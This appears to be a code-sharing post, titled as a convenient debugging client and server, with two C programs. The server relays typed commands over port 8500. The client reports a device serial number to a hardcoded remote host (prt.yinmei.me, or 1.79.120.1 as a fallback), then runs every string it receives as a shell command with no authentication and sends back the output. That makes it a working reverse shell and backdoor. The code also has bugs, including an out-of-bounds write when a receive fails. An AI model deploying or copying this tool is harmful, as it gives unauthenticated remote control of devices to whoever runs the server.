便捷调试client和server

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<errno.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>        
#define MAXLINE 4096
 
#define PORT    8500
 
 
 
void * rec_thread(void * arg)
{
    int connfd = *(int*)arg;
    int n;
    char buff[MAXLINE];
    do {
        bzero(buff, sizeof(buff));
        n = recv(connfd, buff, MAXLINE, 0);
        buff[n] = '\0';
        printf("%s\n", buff);
        if(n == 0) {
            printf("connection error\n");    
            exit(0);
        }
    } while(n > 0);      
}
 
 
 
int main(int argc, char** argv)
{
	int    listenfd, connfd;
	struct sockaddr_in     servaddr;
	char    buff[4096];
	int     n;
    int opt = 1;
    int flags;
    pthread_t rec_p;
    
    
	if( (listenfd = socket(AF_INET, SOCK_STREAM, 0)) == -1 ){
		printf("create socket error: %s(errno: %d)\n",strerror(errno),errno);
		exit(0);
	}
 
	memset(&servaddr, 0, sizeof(servaddr));
	//协议地址
	servaddr.sin_family = AF_INET;
	servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
	servaddr.sin_port = htons(PORT);//
	
	
    setsockopt(listenfd,SOL_SOCKET,SO_REUSEADDR,&opt,sizeof(opt));
	
	//bind把一个地址族中的特定地址赋给socket
	if( bind(listenfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) == -1){
		printf("bind socket error: %s(errno: %d)\n",strerror(errno),errno);
		exit(0);
	}
 
	if( listen(listenfd, 10) == -1){
	//listen 监听
		printf("listen socket error: %s(errno: %d)\n",strerror(errno),errno);
		exit(0);
	}
 
	printf("======waiting for client's request======\n");
	
	if( (connfd = accept(listenfd, (struct sockaddr*)NULL, NULL)) == -1){
		printf("accept socket error: %s(errno: %d)",strerror(errno),errno);
		close(listenfd);
		return -1;
	}
	
	n = recv(connfd, buff, MAXLINE, 0);
	buff[n] = '\0';
	printf("recv msg from client: %s\n", buff);
	
	//flags = fcntl(connfd,F_GETFL,0); 
    //flags |=O_NONBLOCK;
	//fcntl(connfd,F_SETFL,flags);
	pthread_create(&rec_p, NULL, rec_thread, &connfd);
    while(1) {		
		fgets(buff, sizeof(buff), stdin);
	    if(send(connfd, buff, strlen(buff), 0) < 0)
    	{
    		printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
    		close(listenfd);
    		exit(0);
    	}
    }
 
    close(listenfd);
}

 

 

 

#include <stdio.h>  
#include <sys/types.h>  
#include <netinet/in.h>  
#include <sys/socket.h>  
#include <netdb.h>  
#include <unistd.h>  
#include <string.h>  
#include <arpa/inet.h>  
#include <errno.h>  
#include <stdlib.h>
#include <fcntl.h>
#include <ctype.h>
#define PORT 8500
#define MAXSIZE 500


char *rtrim(char *str)
{
    if (str == NULL || *str == '\0')
    {
        return str;
    }

    int len = strlen(str);
    char *p = str + len - 1;
    while (p >= str  && isspace(*p))
    {
        *p = '\0';
        --p;
    }

    return str;
}



char *ltrim(char *str)
{
    if (str == NULL || *str == '\0')
    {
        return str;
    }

    int len = 0;
    char *p = str;
    while (*p != '\0' && isspace(*p))
    {
        ++p;
        ++len;
    }

    memmove(str, p, strlen(str) - len + 1);

    return str;
}
char *trim(char *str)
{
    str = rtrim(str);
    str = ltrim(str);

    return str;
}


unsigned int getaddrinfo_getIpByDomain(const char* hostname, char* ipbuff, int len)
{
	unsigned int rlt = 0;
	struct addrinfo *addr_info = NULL, *addr_rlt = NULL;
	struct addrinfo hint;

	bzero(&hint, sizeof(hint));
	hint.ai_family = AF_INET;
	hint.ai_socktype = SOCK_STREAM;

	char ipastr[16] = {0};

	rlt = getaddrinfo(hostname, NULL, &hint, &addr_info);
	if(rlt == 0)
	{
		for(addr_rlt = addr_info; addr_rlt != NULL; addr_rlt = addr_rlt->ai_next)
		{
			inet_ntop(AF_INET, &(((struct sockaddr_in*)(addr_rlt->ai_addr))->sin_addr), ipastr, 16);
			rlt = ((struct sockaddr_in*)(addr_rlt->ai_addr))->sin_addr.s_addr;
			snprintf(ipbuff, len, "%s", ipastr);
//			snprintf(ipbuff, len, "10.100.1.10");
			break;
		}
	}
	else
	{
		rlt = 0;
	}
	freeaddrinfo(addr_info);
	return rlt;
}

int cmd_run(char *cmd, char* results, int len)
{
        FILE *fp;
        char buf[len];
        int totolen = 0;
 
        //printf("run_cmd: [%s]\n", cmd);
        if ((fp = popen(cmd, "r")) == NULL) {
                printf("NMPPROTDATA_LOG: Fail to popen %s\n", cmd);
                return -1;
        }
			  memset(buf, 0, len);
        while (fgets(buf, (len - totolen), fp) != NULL) {
                strcpy(results + totolen, buf);
                totolen += strlen(buf);
                if(len == (totolen + 1)) {
                    //read enough string
                    break;
                }
                memset(buf, 0, len);
        }
 
        pclose(fp);
        //printf("results: [%s]\n", results);
 
        return 0;
}
int main(int argc, char *argv[])  
{  
	FILE* fp;
	int sockfd;  
	int count = 60;
	int ret;
	int len = 0;
	int flags = 0;
	char buf[MAXSIZE];    
	struct sockaddr_in serv_addr;  


	char ip[40] = {0};
	char sn[40] = {0};
	char cmd[100] = {0};
	char server[40] = {0};

	if (argc == 3)
	{  
		strcpy(server, argv[1]);	
		strcpy(sn, argv[2]);	 
	}  else {
		
		
		#if 0
		sprintf(cmd, "cat /usr/userdata/config.ini |grep serverdomain |awk -F '=' '{print $2}'");
		if(cmd_run(cmd, server, sizeof(server)) != 0) {
			strcpy(server, "prt.yingmei.me");	
		} else {
			if(server[0] == '\0') {
				printf("no config here, use default server\n");	
				strcpy(server, "prt.yingmei.me");	
			} else {
				trim(server);
			}	
		}
		#else
		strcpy(server, "prt.yinmei.me");
		#endif

		bzero(cmd, sizeof(cmd));
		sprintf(cmd, "cat /var/run/INFO  |grep 'SN' |awk -F ':'  '{printf $2}'");
		if(cmd_run(cmd, sn, sizeof(sn)) != 0) {
			strcpy(sn, "1900000XUX");	
		}
		trim(sn);
	} 
	
	printf("server:%s\n", server);
	if(getaddrinfo_getIpByDomain(server, ip, sizeof(ip)) == 0) {
		printf("not get ip here\n");
		printf("use default:%d, %s\n", __LINE__, ip);
		strcpy(ip, "1.79.120.1");
	} else {
		if(ip[0] == '\0') {
			printf("use default:%d\n", __LINE__);
			strcpy(ip, "1.79.120.1");	
		}					
	}	
	
	printf("use ip:%s, port:%d, sn:%s\n", ip, PORT, sn);
	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)  
	{  
		printf("<Remote>:Error(socket error)\n");  
		return 0;  
	}  
	serv_addr.sin_family = AF_INET;  
	serv_addr.sin_port = htons(PORT);  
	serv_addr.sin_addr.s_addr = inet_addr(ip);
	bzero(&(serv_addr.sin_zero), 8);

	flags = fcntl(sockfd, F_GETFL, 0);  
	fcntl(sockfd, F_SETFL, flags | O_NONBLOCK);  
	while(count > 0)
	{
		printf("<Remote>:Event(try:%d)\n", count);
		ret = connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr));
		if (ret >= 0)  
		{  
			break;
		}
		count--;
		sleep(1);
	}
	if(ret >= 0)
	{
		fcntl(sockfd, F_SETFL,flags & ~O_NONBLOCK);
		printf("<Remote>:Event(Connect Success)\n");
		send(sockfd, sn, strlen(sn), 0);
	}
	else
	{
		close(sockfd);
		printf("<Remote>:Event(exit)\n");
		return 0;
	}
	while(1)
	{
		memset(buf, 0, MAXSIZE);
		if((len = read(sockfd, buf, MAXSIZE)) > 0)  
		{  
			fp = popen(buf, "r");
			if(fp)
			{
				while(1)
				{
					if((len = fread(buf, 1, MAXSIZE, fp))> 0)
					{
						send(sockfd, buf, len, 0);
					}
					else
					{
						break;
					}
				}
				pclose(fp);
			}
		}
		else
		{
			break;
		}
	}
	close(sockfd);  
	printf("<Remote>:Event(exit)\n");
	return 0;
}